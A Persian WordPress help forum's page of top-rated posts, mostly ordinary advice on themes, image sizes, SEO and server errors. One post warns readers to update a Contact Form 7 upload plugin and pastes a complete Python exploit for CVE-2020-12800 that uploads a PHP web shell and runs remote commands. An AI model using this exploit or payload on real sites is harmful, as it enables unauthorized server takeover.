رفتن به مطلب

تخته امتیازات


مطالب محبوب

در حال نمایش مطالب دارای بیشترین امتیاز از زمان 22/03/99 در پست ها

  1. 3 امتیاز
    سلام شما خودتون میتونین اضافه کنید مثال : <h1> دانلود اهنگ جدید </h1> این کد رو توی قسمت هدر سایت قرار بدید
  2. 2 امتیاز
    سلام شما 100% سایتتون هک/آلوده شده. تنها راه مطمئن ریست کامل سرور سایت و نصب مجدد وردپرس و پوسته و افزونه ها هست. یادآوری و توجه: به هیچ وجه محصول نال و در مرحله دوم محصول از فروشگاه های ایرانی خرید و نصب نکنید.
  3. 2 امتیاز
    سلام و به وردپرس خوش آمدید، بهترین منبع آموزشی همون گوگل هست مقاله های بیشماری برای وردپرس موجود هست از مبتدی تا پیشرفته کافیه فقط جستجو کنید، و البته که هروقت سوالی راجب وردپرس داشتید میتونید در همین انجمن بپرسید و دوستان در سریعترین زمان به شما پاسخ خواهند داد
  4. 2 امتیاز
    سلام، به انجمن وردپرس پارسی خوش اومدید. اینجور چیزا معمولا تاثیری زیادی توی سئو نداره، اما راه اصولی و پیشنهاد شده اینه که اول یه تعدادی محتوا (یا محصول) داخل سایتتون داشته باشید، مثلا ۱۰ درصد از کل محصولاتتون رو وارد کنید، بعدش سایت رو به گوگل معرفی کنید و طبق زمان‌بندی مشخص و مرتبی بقیه‌ی محصولاتتون رو منتشر کنید، مثلا روزی ۱ محصول (یا بیشتر و کمتر) ولی مرتب و در بازه‌های زمانی یکسان اینکار رو انجام بدید (حتی ساعتش رو هم مد نظر داشته باشید) کپی نکردن و... هم که جزو بدیهیات هست و مطمئنا باید رعایت کنید.
  5. 2 امتیاز
    سلام وارد مسیر زیر بشید phpMyAdmin>DatabaseUser>wp_usermeta در تب meta_key روی edit فایل wp_capabilities کلیک کنید ( برای هر ایدی یک wp_capabilities وجود دارد ) توجه داشته باشید که ایدی هر کاربر مانند پست های وردپرس باهم فرق میکنه ایدی مدیر اصلی 1 هست در بخش meta_value کد زیر را جایگزین کنید a:1:{s:13:"administrator";b:1;} لطفا قبل از انجام این کار ها از دیتابیستون نسخه پشتیبان بگیرید
  6. 2 امتیاز
    بیینید شما به کلاس menu-container-new یک clip-path اضافه میکنید که و از طریق کد بالا بهش میگید که کی اضافه بشه و کی حذف بشه این چند نمونه بسیار خوب هست که ببینید چه چیزهایی میشه باهاش ساخت https://codepen.io/Deeply/pen/zYYbXRz https://codepen.io/chriscoyier/pen/wBKPOm https://codepen.io/GhostRider/pen/tEcCq
  7. 2 امتیاز
    شما وارد یکی از دسته ها بشید میبینید که زیر دسته های او دسته رو نشون میده برای صفحه اصلی هم از یک کد html ساده استفاده کنید بهتره نام دسته هاتون رو بذارید و بهشون لینک بدید <div class="category"> <ul> <li><a href="http://yourdomain.com/#">Cat1</a></li> <li><a href="http://yourdomain.com/#">Cat2</a></li> <li><a href="http://yourdomain.com/#">Cat3</a></li> <li><a href="http://yourdomain.com/#">Cat4</a></li> </ul> </div>
  8. 2 امتیاز
    میشه طبق این کد نمونه‌ای که فرستادم کد بدید؟ ببینید با این قطعه کارتون راه میوفته
  9. 2 امتیاز
    سلام در واقع این مشکل نیست و بک قابلیت در وردپرس هست در وردپرس شما هر عکسی رو که آپلود میکنید به 3 عکس تبدیل میشه (کوچک، میانه، بزرگ) فرض کنید شما در sidebar قالبتون آخرین پست ها رو با تصاویر شاخص نشون میدید خب بهتره که در اونجا از تصویر کوچک استفاده بشه تا حجم کمتری داشته باشه و مثال در بخش اصلی پست میخواین که سایز بزرگ استفاده بشه میاین از اندازه میانه یا بزرگ استفاده میکنید. حالا شما تعدادش رفته بالاتر دلیلش چیه؟ یکی برمیگرده به فایل function قالب شما که ممکنه در اونجا تصاویر بیشتری اضافه شده باشه دلیل دیگه هم افزونه ها هستن، افزونه هایی مثل گالری و اسلایدر ها معمولا میان تصاویر بیشتری به قالبتون اضافه میکنن تا اندازه عکسهاتون متناسب با استایل افزونه باشه. برای حل این مشکل داخل افزونه ها و یا function قالب به دنبال کد زیر باشید add_image_size قبل از هر کاری نسخه پشتیبان رو فراموش نکنید.
  10. 1 امتیاز
    بطور خلاصه بگم باید حداقل تو پی اچ پی-وردپرس-html در حد متوسط باشین و کمی css برای پلاگین نویسی و برای قالب علاوه بر ربانهای بالا در جاوا اسکریپت و حی کویری متوسط و در css قوی باشین به طور خلاصه یک فرایند زمانبر هست
  11. 1 امتیاز
    بسیار ساده و روان و با مثال توضیح داده برای کل فایلد ها نمونه استفاده گذاشتن https://www.advancedcustomfields.com
  12. 1 امتیاز
    ممکنه ادریهایی به صورت دستی درون کدها باشه ، اون آدرسها رو از داخل کدها هم باید تغییر بدید
  13. 1 امتیاز
    سلام میتونید از این دوتا افزونه استفاده کنید https://wordpress.org/plugins/rich-text-excerpts/ https://wordpress.org/plugins/advanced-post-excerpt/ یا از طریق اضافه کردن کد زیر به functions.php unction tinymce_excerpt_js(){ ?> <script type="text/javascript"> jQuery(document).ready( tinymce_excerpt ); function tinymce_excerpt() { jQuery("#excerpt").addClass("mceEditor"); tinyMCE.execCommand("mceAddControl", false, "excerpt"); tinyMCE.onAddEditor.add(function(mgr,ed) { if(ed.id=="excerpt"){ ed.settings.theme_advanced_buttons2 =""; ed.settings.theme_advanced_buttons1 = "bold,italic,underline,seperator,justifyleft,justifycenter,justifyright,separator,link,unlink,seperator,pastetext,pasteword,removeformat,seperator,undo,redo,seperator,spellchecker,"; } }); } </script> <?php } add_action( ‘admin_head-post.php’, ‘tinymce_excerpt_js’); add_action( ‘admin_head-post-new.php’, ‘tinymce_excerpt_js’); function tinymce_css(){ ?> <style type=’text/css’> #postexcerpt .inside{margin:0;padding:0;background:#fff;} #postexcerpt .inside p{padding:0px 0px 5px 10px;} #postexcerpt #excerpteditorcontainer { border-style: solid; padding: 0; } </style> <?php } add_action( ‘admin_head-post.php’, ‘tinymce_css’); add_action( ‘admin_head-post-new.php’, ‘tinymce_css’); function prepareExcerptForEdit($e){ return nl2br($e); } add_action( ‘excerpt_edit_pre’,’prepareExcerptForEdit’); یا کد زیر به functions.php add_action( 'add_meta_boxes', array ( 'T5_Richtext_Excerpt', 'switch_boxes' ) ); /** * Replaces the default excerpt editor with TinyMCE. */ class T5_Richtext_Excerpt { /** * Replaces the meta boxes. * * @return void */ public static function switch_boxes() { if ( ! post_type_supports( $GLOBALS['post']->post_type, 'excerpt' ) ) { return; } remove_meta_box( 'postexcerpt' // ID , '' // Screen, empty to support all post types , 'normal' // Context ); add_meta_box( 'postexcerpt2' // Reusing just 'postexcerpt' doesn't work. , __( 'Excerpt' ) // Title , array ( __CLASS__, 'show' ) // Display function , null // Screen, we use all screens with meta boxes. , 'normal' // Context , 'core' // Priority ); } /** * Output for the meta box. * * @param object $post * @return void */ public static function show( $post ) { ?> <label class="screen-reader-text" for="excerpt"><?php _e( 'Excerpt' ) ?></label> <?php // We use the default name, 'excerpt', so we don’t have to care about // saving, other filters etc. wp_editor( self::unescape( $post->post_excerpt ), 'excerpt', array ( 'textarea_rows' => 15 , 'media_buttons' => FALSE , 'teeny' => TRUE , 'tinymce' => TRUE ) ); } /** * The excerpt is escaped usually. This breaks the HTML editor. * * @param string $str * @return string */ public static function unescape( $str ) { return str_replace( array ( '&lt;', '&gt;', '&quot;', '&amp;', '&nbsp;', '&amp;nbsp;' ) , array ( '<', '>', '"', '&', ' ', ' ' ) , $str ); } } یا استفاده از افزونه Advanced Custom Fields و ایجاد یک زمینه دلخواه به جای چکیده مطالب پیشفرض https://wordpress.org/plugins/advanced-custom-fields/
  14. 1 امتیاز
    سلام هر سه افزونه مدتهاست اپدیت نشدن و کارآمد نیستن اما یه راه حلی پیدا کردم اینجا میگم تا کسایی اگه این مشکل رو داشتن و بعدا از طریق سرچ وارد اینجا شدن بتونن مشکلشون رو حل کنن: کلید این مشکل تو افزونه Featured Image from URL بود کار این افزونه اینه که یه گزینه به زیر باکس تصویر شاخص اضافه میکنید. توش میتونید لینک اپلود شده عکس رو بذارید. یعنی عکس رو تو هاست دانلودتون اپلود کنید و لینکشو تو این بخش بذارید تا به عنوان تصویر شاخص نشون بده. نمونه ش الان تو صفحه اصلی سایت من هست: دانلود کتاب اون تصاویر شاخصی که در باکس» تازه ترین کتابها» هست رو لینکشو نگاه کنید میبینید در هاست دانلودم اپلود شده
  15. 1 امتیاز
    همین کد خودتون هست دیگه فقط همون یک خط رو اضافه کنید به این شکل $args=array( 'category__in' => $category_ids, 'post__not_in' => array($post->ID), 'posts_per_page'=> 4, 'meta_key' => 'sale_sakht', // فقط این خط رو اضافه کنید 'caller_get_posts'=>1 );
  16. 1 امتیاز
    سلام شکل های مختلفی میشه استفاده کرد در حال حاضر این کد 10 پست رو که دارای این متا هستند رو نشون میده اگر چیزی بیشتر از این نیاز دارید بیشتر توضیح بدید، اطلاعات بیشتر https://codex.wordpress.org/Class_Reference/WP_Meta_Query
  17. 1 امتیاز
    سلام فقط منبع اصلی: https://developer.wordpress.org/ از منابع فارسی توصیه اکید میکنم استفاده نکنید.
  18. 1 امتیاز
    درود... برای شروع حرفه ای سایت های فرانش و ویلرن نیازهای شما را پوشش می دهد: 1. https://welearn.site/ 2. https://faranesh.com/
  19. 1 امتیاز
    بنظرم چیزی ک شما میخواد بسیار مشابه به سیستم تیکت هست که در وردپرس هم افزونه هاش موجوده بهرحال شما باید تست کنید که کارتون رو به درستی انجام میده یا خیر، اما خب وردپرس یک سیستم بسیار منعطف هست و تقریبا میتونید هر تغییری رو بسته به نیازتون روش اعمال کنید
  20. 1 امتیاز
    سلام مشکل نیست درواقع پیشفرض به همین صورت هست
  21. 1 امتیاز
    خب شما چرا بخواین عکس های شاخص رو اضافه کنید، بهتر نیست از زمینه های دلخواه استفاده کنید و هر تعداد عکس که دلتون خواست برای اسلایدر هر پست بارگذاری کنید ؟
  22. 1 امتیاز
    تگ h1 بصورت معمول باید عنوان وبسایت باشه شما هروقت قالب رو بروز کردین دوباره همین کارو انجام بدید
  23. 1 امتیاز
    دوست عزیز category و page (برگه) باهم فرق میکنند شما اول مطمئن بشید که اگر برگه ساختید اونو با page و اگه کتگوری ساختید اونو با category و بعدش خط تیره و اسم اون پست یا آیدیش آدرس دهی کنید. برای مثال شما یک پیج درست کردید با هر اسمی و نامک اون رو گذاشتید mahsool حالا برای درست کردن پیج اون باید فایل پی اچ پی تون اسمی که تو قالب میگیره اینجوری باشه: page-mahsool.php یا بجای mahsool آیدیشو بذارید ولی بهتره که نامکشو بذارید چون سیستم وردپرس به این شکله که اول نامک رو چک میکنه و اگر وجود نداشت میره آیدی رو چک میکنه و اگر اون هم نبود میره صفحه خود پیج رو لود میکنه و اگر باز اون هم نبود میره از صفحه ایندکس استفاده میکنه.
  24. 1 امتیاز
    بهتره که از زمینه های دلخواه استفاده کنید افزونه acf رو نصب کنید و و طبق گفته دوستمون قبل از the_content زمینه دلخواهتون رو اضافه کنید استفاده از زمینه این خوبی رو داره که شما نام سایتی رو که منبع پستتون هست رو برای هر پست میتونید تغییر بدید و اگر در یک پست ازش استفاده نکردید به گزارش (نام سایت) رو نشون نمیده <?php if( get_field('نام زمینه') ) {the_field('field');} else {//هرچیزی } the_content(); ?>
  25. 1 امتیاز
    سلام فک کنم با این قطعه کد بتونید اینکارو انجام بدید بسته به نیازتون باید تغییرش بدید function test_script_method() { global $wp_query; if ( "نام پست تایپ" != get_post_type() && !(is_page('home')) ) { wp_register_script( 'jq', '/wp-content/themes/test/js/script.js'); // مسیر فایل js wp_enqueue_script( 'jq' ); } } add_action('wp_enqueue_scripts', 'test_script_method');
  26. 1 امتیاز
    سلام به خود وبسایت کاری نداریم اما شما ابتدا از طریق یک این کد کوتاه مشخص میکنید که چه زمان یک کلاس اضافه و یا حذف بشه $(window).scroll(function() { var scroll = $(window).scrollTop(); if (scroll >= 500) { $(".menu-container").addClass("menu-container-new"); } else { $(".menu-container").removeClass("menu-container-new"); } }); حالا به کلاس هایی که قرار هست اضافه و حذف بشن استایل دلخواه خودتون رو میدین برای منحنی و سایر اشکال هم میتونید از فرمت svg استفاده کنید و یا از plygon توی گوگل جستجو کنید نمونه های زیادی ازشون موجوده
  27. 1 امتیاز
    چیزی که شما میفرمایید دلیلش اینه که در اصل اون پست شما در نتایج اول نیست و یا هنوز ایندکس نشده باید روی سئوی وبسایتتون هم کار کنید از این مسیر چک کردم لینکها مشکلی ندارن
  28. 1 امتیاز
    شما کافیه در فایل archive.php بیرون از حلقه یعنی قبل از while ( have_posts() ) : the_post(); کد زیر رو قرار بدید و بهش استایل دلخواهتون رو بدید $params = array( 'parent' => get_queried_object_id(), 'orderby' => 'name', 'order' => 'ASC', 'hide_empty' => false ); if ( count( get_categories( $params ) ) ) { wp_list_categories( $params ); } کدتون تقریبا به این شکل میشه // نمایش دسته بندی کوچکتر $params = array( 'parent' => get_queried_object_id(), 'orderby' => 'name', 'order' => 'ASC', 'hide_empty' => false ); if ( count( get_categories( $params ) ) ) { wp_list_categories( $params ); } // پایان while ( have_posts() ) : the_post();
  29. 1 امتیاز
    سلام سوال این هست که قراره مشتریان خاص چطور تعریف بشن این مهمتره
  30. 1 امتیاز
    سلام فقط میخواید لیست دسته ها رو نشون بدید یا وقتی وارد دسته کوچک شدید پستهای اون دسته رو هم نشون بده ؟
  31. 1 امتیاز
    دسترسی رو برام پیام خصوصی کنید تا چک کنم
  32. 1 امتیاز
    سلام با افزونه کار نکردم ولی میتونید با استفاده از این نمونه ها اینکارو انجام بدید و هرچقدر هم بخواید شخصی سازیش کنید https://codepen.io/dsholmes/embed/pyeeVQ https://codepen.io/0neLife/pen/jKPMwE https://codepen.io/sujayjaju/pen/akAYzP https://codepen.io/andrewerrico/pen/Efyrt
  33. 1 امتیاز
  34. 1 امتیاز
    سلام الان همین قالب رو سایتتون هست ؟
  35. 1 امتیاز
    سلام خیلی خوشحال شدیم قدم رنجه فرمودین https://wordpress.org/themes/ رایگان انتخاب قالب بسته به سلیقتون داره
  36. 1 امتیاز
    علت : هربار که تصویری به سایت تون اضافه میکنید ، وردپرس در اندازه های مختلف عکس و آپلود میکنه. راه حل : در قسمت تنظیمات -> رسانه . اعدادی که در کادرها می بینید و 0 کنید و تیک ها رو هم بردارید.
  37. 1 امتیاز
  38. 1 امتیاز
    سلام بستگی به قالبی که استفاده میکنید داره ولی خب در استایلتون دنبال کدهایی به این شکل باشید و اونها رو حذف کنید @media (max-width: 979px) { body{} ... } حتما یک نسخه ئشتیبان از استایل قالبتون بگیرید. بازم میگم بسته به نوع قالب داره
  39. 1 امتیاز
    وقت بخیر توی ووکامرس بخش کوپن تخفیف می تونین کوپن رو فقط برای یک ایمیل فعال کنین که اگ ایمیل مشتری خاص خودتونو وارد کنین تنها ایشون میتونن استفاده کنن اگر سوالی داشتید بفرمایید بنده پاسخگو هستم موفق باشید
  40. 1 امتیاز
    سلام من میخوام تمام ایمیل هایی که برام ثبت میشه توی سایتم رو بتونم براشون یک ایمیل تبلیغاتی بفرستم. افزونه خاصی وجود داره؟ من اولین بارمه میخوام انجام بدم اگر امکانش هست یک توضیحات بیشتری بدید ممنونم ازتون
  41. 1 امتیاز
  42. 1 امتیاز
  43. 1 امتیاز
    امروز ديدم يه باگ خطرناک از نوع Remote Code Execution يعنی اجرای دستور از راه دور گزارش شده اگه از اين افزونه استفاده می کنيد حتماً آپديت کنيدش !!!! اکسپلويت اين حفره امنيتی هم اينجا ميزارم تا ببينيد #!/usr/bin/python import string import random import requests from bs4 import BeautifulSoup import sys payloadurl="" def RecurseLinks(base,file): headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"} f = requests.get(base, headers=headers) soup = BeautifulSoup(f.content, "html.parser") for root in soup.find_all("a"): href = root.get("href") if (href.startswith("/")): do = "nothing" elif (href.endswith("/")): RecurseLinks(base + href, file) else: if file in href: print ("\n[+] File Found --> " + base + href) global payloadurl payloadurl = (base+href) def main(): #os.system('cls') print("WordPress Plugin \'Drag and Drop Multiple File Upload - Contact Form 7\' 1.3.3.2 - Unauthenticated Remote Code Execution") print("@amartinsec --> Twitter\nCVE:2020-12800\n") #Build The Request #Generate random URL for filename file = ''.join(random.sample((string.ascii_uppercase + string.digits), 6)) urlinput = raw_input("[+] Enter url to the vulnerable WordPress application: ") #Finding the nonce used in the Ajax security string print ("\n[+] Searching for security string nonce") headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'} homepage = requests.get(urlinput,headers=headers) homepage = homepage.text homepage = homepage.split("ajax_nonce\":\"",1)[1] securitykey = homepage[:10] print("[+] Found security string --> " + securitykey) url = urlinput + "/wp-admin/admin-ajax.php" headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------350278735926454076983690555601", } data = "-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"supported_type\"\r\n\r\n" \ "php%\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"size_limit\"\r\n\r\n" \ "5242880\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\n" \ "dnd_codedropz_upload\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"type" \ "\"\r\n\r\nclick\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"security\"\r" \ "\n\r\n" + securitykey +"\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"upload-file\"; " \ "filename=\"" + file +".php%\"\r\nContent-Type: text/plain\r\n\r\n" \ "<?php echo shell_exec($_GET['e'].' 2>&1'); ?>" \ "\r\n-----------------------------350278735926454076983690555601--\r\n" print "\n[+] Sending payload to target" response = requests.post(url, headers=headers, data=data) if "200" in str(response): print("[+] Looks like a successful file upload!\n") elif "403" in str(response): print("\nFile Upload Failed") print("403 in response. Check security string") sys.exit(1) else: print("File upload failed. Try the manual way with Burp") sys.exit(1) print("[+] Crawling for the uploaded file. This may take a minute...") print("[+] Searching for " + file + ".php") RecurseLinks(urlinput + "/wp-content/uploads/",file) if payloadurl == "": print("Can't find the file on the web server") print("Try the manual method") sys.exit(1) #If all goes well, we can now send requests for RCE print("[+] Success\n") while True: cmd= raw_input("[+] CMD: ") headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'} request = requests.get(payloadurl + "?e=" + cmd, headers=headers) print request.text if __name__ == "__main__": main() من هر روز تمام لاگ های وبسايت و سرورم رو نگاه می کنم تا اگه چيز مشکوکی بود برّسی کنم ! يکی هم هست که داره تلاش می کنه ... ولی بدجوری دستش کوتاه بيچاره به هر حال ديدم با اينکه من اين افزونه رو نصب ندارم ولی تلاش کرده اين حفره رو رو سايت من اکسپلويت کنه بروز کار ميکنه حيوونی ...
  44. 1 امتیاز
    مشکلات متعدد میتونه داشته باشه، جاوا اسکریپت خطایی در کنسول مشاهده نمیشه؟ بهتره آدرس رو قرار بدین تا بشه بررسی کرد.
  45. 1 امتیاز
    خطای 500 یک خطای سرور عمومی است. چندین گزینه است که می‌تواند به یک سرور با وضعیت مشخصی پاسخ دهد. برخلاف تصور عموم به وجود آمدن خطای 500 در وردپرس یک اتفاق خوب است زیرا به شما نشان می‌دهد که سرور دچار محدودیت است. حال در این مقاله به شما می‌گوییم که این خطا از جانب کدام بخش‌ها است و چگونه حل می‌شود. 1- وجود خطا در فایل htaccess. اولین موردی که می‌توانیم در بروز این خطا به آن شک کنیم همین فایل htaccess. است. پس به شما هم پیشنهاد می‌کنیم در همین ابتدا اول به سراغ این فایل بروید. اضافه شدن یک کارکتر اضافی به فایل htaccess. می‌تواند باعث بروز خطای 500 در وردپرس شود. در این مواقع باید سعی کنید فایل htaccess. جدیدی را بسازید. برای ساخت آن کافیست فایل فعلی را حذف کرده، سپس به قسمت پیوندهای یکتا بروید و بر روی ذخیره تغییرات کلیک کنید تا مجدد ساخته شود. 2- وجود خطا در فایل wp-config.php زمانی که دستور یا کدی در این فایل ایجاد شود، ممکن است با خطای 500 در وردپرس مواجه شوید. با مشاهده error logs می‌توانید خطای موجود در این فایل را یافته و به حال آن بپردازید. چنانچه از بخش error logs نمی‌توانید کاری کنید، به راحتی با مراجعه به فایل wp-config.php می‌توانید کدهای ناشناخته را حذف کنید. (البته اگر به این فایل و کدها مسلط هستید). 3- مجوزهای ناقص پرونده اگر یک اسکریپت php باید در یک فولدر قرار گیرد اما امکان اجرای php را ندارد، شما را با خطای 500 در وردپرس رو به رو می‌کند. این مشکل به راحتی با تغییر سطح دسترسی و مجوز آن پوشه حل می‌شود. این مورد در هاست و با تغییر سطح دسترسی امکان‌پذیر است. 4- وقفه در کار سرور یا اسکریپت وقفه یا از کار افتادن سرور یا اسکریپتی در سایت مهم‌ترین دلیل به وجود آمدن خطای 500 در وردپرس است. معمولا این اتفاق وسط انجام یک فعالیت پیش می‌آید. زمانی که با این مشکل مواجه می‌شوید پیشنهاد می‌شود که بصورت دستی حافظه php را افزایش دهید. این کار در php.ini ، wp-config.php و htaccess. انجام می‌شود. چنانچه خودتان نتوانستید این کار را انجام دهید به پشتیبانی سرور اطلاع داده تا این مشکل را برایتان برطرف کند. 5- خطای php گاهی اوقات خطای 500 فقط و فقط در هنگام ورود به پیشخوان وردپرس مشاهده می‌شود. در اینجا ممکن است شوکه شوید که چگونه سایت باز می‌شود اما پیشخوان وردپرس با چنین خطایی مواجه است؟! اینجا یعنی مشکل در حافظه php است. تکلیف چیست؟ باید این حافظه را افزایش دهید و این‌کار با کمک فایل php.ini امکان‌پذیر است. قبلا آموزش افزایش حافظه با php.ini را خدمت شما گفتیم به همین دلیل از توضیحات اضافه پرهیز می‌کنیم و از شما دعوت می‌کنیم به آموزش مربوطه مراجعه کنید تا اگر مشکل شما در این زمینه است، به راحتی آن را در عرض چند ثانیه رفع نمایید. منبع https://hamyarwp.com/wordpress-internal-server-error/ https://kitwp.com/internal-server-error-500/
  46. 1 امتیاز
    سلام به انجمن خوش اومدین پوسته وودمارت پرمیوم هست و اگر از تم فارست خریداری کردید بهتون پشتیبانی میدن.
  47. 1 امتیاز
    بصورت پیشفرض وردپرس از هر تصویری که آپلود می کنید ۳ عدد کپی با سایزهای مختلف ایجاد می کند. پوسته ها و پلاگین های مورد استفاده شما گاهی سایزهای دیگری هم به این گروه اضافه می کنند و ممکن است تعداد این کپی ها به ۱۰ عدد هم برسد. چنانچه تعداد مطالب سایت شما بالا باشد و از تصاویر زیادی هم استفاده کرده باشید در این صورت با حجم بالای اشغال فضای هاست مواجه خواهید شد. همچنین حجم فایل های بکاپ و مدت زمان بکاپ گیری از سایت شما افزایش می یابد. در ادامه به شما روش هایی را توضیح می دهم که بتوانید سایز هایی که استفاده نمی کردید را غیر فعال و حذف کنید. چه موقع نیاز به جلوگیری از ایجاد فایل های اضافی است؟ با توجه به اینکه امروزه اکثر هاستینگ ها فضای هاست بالایی به شما ارائه می دهند فایل های ایجاد شده پیشفرض توسط وردپرس خیلی ضرر ندارند، این فایل ها در زمان آپلود تصویر ایجاد می شوند و تاثیری روی سرعت سایت شما برای بازدیدکنندگان ندارند. اما باز هم وقتی تعداد تصاویر سایت شما بالا می رود مشکل فضای هاست و حجم بکاپ می تواند اذیت کننده باشد. اگر از سایز خاصی در سایت خود استفاده نمی کنید می توانید جلوی تولید آن توسط وردپرس را بگیرید و فضای هاست آزادتری داشته باشید، فایل بکاپ کوچکتر و دانلود سریعتر آن! روش غیرفعال کردن ایجاد تصاویر با سایز بدون استفاده ابتدا باید ببینید که چه تعداد کپی و با چه سایزهای توسط وردپرس برای هر تصویر ایجاد می شود. وردپرس بطور پیشفرض ۳ کپی برای سایز های Large ، Medium و بندانگشتی thumbnails ایجاد می کند. پوسته وردپرس سایت شما، پلاگین ها و اسلایدر ها ممکن است سایزهای دیگری برای خود ایجاد کنند. ابتدا باید به file manager هاست خود وارد شوید و در پوشه wp-content وارد پوشه uploads شوید. به پوشه سال و سپس پوشه ماهی وارد شوید که این اواخر در آن آپلود تصویر داشتید. لیست فایل های تصاویر را مانند شکل زیر می توانید مشاهده کنید: همانطور که در تصویر فوق مشاهده می کنید برای تصویر آپلود شده valley.jpg پنج عدد کپی با سایزهای مختلف ایجاد شده است که عدد سه از آنها مربوط به خود وردپرس و ۲ عدد ایجاد شده توسط قالب سایت هستند. شما به راحتی می توانید جلوی ایجاد تصاویر پیشفرض وردپرس را بگیرید. البته توصیه می کنیم همیشه امکان ایجاد بندانگشتی ها یا thumbnails را بدهید چون مدیریت گالری در وردپرس از آنها استتفاده می کند. برای اینکار کافی است به منوی تنظیمات، و سپس بخش رسانه در مدیریت وردپرس بروید و اعداد هر سایز که استفاده نمی کنید را برابر ۰ قرار دهید. در وبلاگ شیواهاست ما از تصاویر medium و large هیچ استفاده ای نمی کنیم اما ایجاد بندانگشتی ها را فعال نگهداشته ایم: اما دو سایز دیگر توسط قالب ما برای تصاویر شاخص و آیکون پست ها با سایز های ۵۰ و ۲۲۰ ایجاد می شوند که توسط سایت در حال استفاده هستند. پس ما نیاز داریم که از هر فایل تصویر ۳ عدد کپی داشته باشیم. اما ممکن است قالب سایت شما سایز هایی ایجاد کند که در سایت خود بکار نبرده باشید. همانطور که تا پیش از راه اندازی بخش وبلاگ شیوا هاست ما نیز از سایز های ایجاد شده توسط قالب برای تصاویر شاخص و آیکون پست ها استفاده نمی کردیم. تابع ایجاد سایز تصاویر یعنی add_image_size در فایل functions.php از فایل های پوسته شما قرار دارد و مشابه کد زیر می باشد: 1 2 add_image_size( 'homepage-thumb', 220, 180, true ); add_image_size( 'homepage-thumb', 50, 50, true ); البته ممکن است شما چند خط مشابه بیشتر هم داشته باشید. حذف هر سطر برابر است با غیر فعال کردن ایجاد آن سایز از تصاویر. همچنین شما باید سطری که شامل set_post_thumbnail_size هست نیز جهت جلوگیری از ایجاد بندانگشتی توسط قالب حذف نمایید: 1 set_post_thumbnail_size( 150, 150 ) توجه کنید که هر یک از این سایز ها ممکن است در سایت شما توسط اسلایدرها، پیوست ها و … بکار رفته باشد، پس باید دقت کنید که واقعا آن سایزهایی که کاربرد نداشته اند را حذف نمایید. برخی سایز های دیگر ممکن است توسط پلاگین هایی مثل اسلایدرها، گالری تصاویر و … ایجاد شوند که اگر آنها نیز بکار نمی آیند باید در میان فایل های پلاگین های مربوطه به دنبال کد add_image_size باشید. پس از انجام این کارها برای تصاویری که آپلود می کنید کپی های جدیدی ایجاد نمی شود اما کپی های ایجاد شده برای تصاویر قبلی در هاست شما باقی می مانند. اگر بلا استفاده هستند می توانید از طریق file manager اقدام به حذف آنها کنید و یا از پلاگین هایی مانند Force Regenerate Thumbnails استفاده کنید. بکاپ گیری قبل از استفاده از چنین پلاگین هایی فراموش نشود. لینک سایت منبع : https://www.shivahost.net/blog/wordpress/جلوگیری-از-ایجاد-فایل-تصاویر-اضافی-در-و/
  48. 1 امتیاز
    توی فانکشن قالب های وردپرس برای اینکه تصاویر به درستی در همه بخش ها نمایش داده بشه و بهینه باشه برای لود هر صفحه از تابع add_image_size استفاده میشه داخل فانکشن چک کنید میتونید ببینید چه سایزهایی برای قالبتون تنظیم شده و برای چه قسمتایی هست و بعد متناب با نیازتون تغییر بدید ابتدا باید این تغییرات رو انجام بدید بعد میتونید عکسها تو سایزهایی که نمیخواید رو حذف کنید ، توی رسانه نمیشه این کار رو کرد ، باید یا پوشه آپلود رو دانلود کنید و سایزها رو جستجو بزنید و یک هو پاکشون کنید یا اینکه افزونه های مدیریت تصاویر نصب کنید در ضمن اگر بخش مدیریت سایز تصاویر داره فکر کنم باید غیر فعالش کنید به نظرم این امکان وردپرس هم یه مزیته هم یه معضل ، مزینه چون در همه بخشهای سایت تصاویر برش میخورن و بهینه هست و معضل که دقیقا هاست رو پر میکنن
  49. 1 امتیاز
    وردپرس یک سیستم مدیریت محتوا قدرتمند می باشد . در اینجا من می خوام 10 پلاگین کاربردی و لازم جهت هر بار نصب وردپرس رو به شما معرفی که این پلاگینهای کابردی جز پلاگینهای favorite من برای هر بار نصب به حساب میان : Akismet : یک پلاگین فوق العاده برای جلوگیری از کامنت‌های اسپم می‌باشد. من از وقتی کهاز این پلاگین استفاده می‌کنم کاملا از شر کامنت‌های اسپم خلاص شده‌ام. بعداز نصب این پلاگین باید در وردپرس. کام ثبت نام کنید و API key خودتان را به اکیسمت بدهید تا فعال شود. Maintenance Mode : این افزونه برای مواقعی ضروری است که میخواهید قالب سایتتان را ویرایش کنید یا … با فعال کردن این افزونه میتوانید با نقش مدیر به ویرایش قالب خود بپردازید. WP-PageNavi : این افزونه حالت صفحه‌بندی پیشرفته را به سایت وردپرسی شما می‌افزاید. All in One SEO Pack : افزونه ای جهت بهینه کردن وبسایت وردپرسی شما برای موتورهای جستجو به صورت خودکار WP Super Cache : این افزونه مقدار کش سایت شما را تنظیم نموده و فایل های کش و کوکی را به صورت Gzip درمیآورد که باعث لود سریع تر در دفعات بعدی میشود Google XML Sitemaps : این افزونه، با ایجاد یک نقشه سایت ویژه باعث می‌شود موتورهای جستجو آسانتر صفحات وب سایت شما را فهرست کنند. Contact Form 7 : افزونه‌ای ساده و در عین حال انعطاف پذیر برای ساختن فرم‌های تماس برای ارتباط کاربران با شما Broken Link Checker : بررسی لینک های شکسته و خراب WP-DB-Backup : همونطور 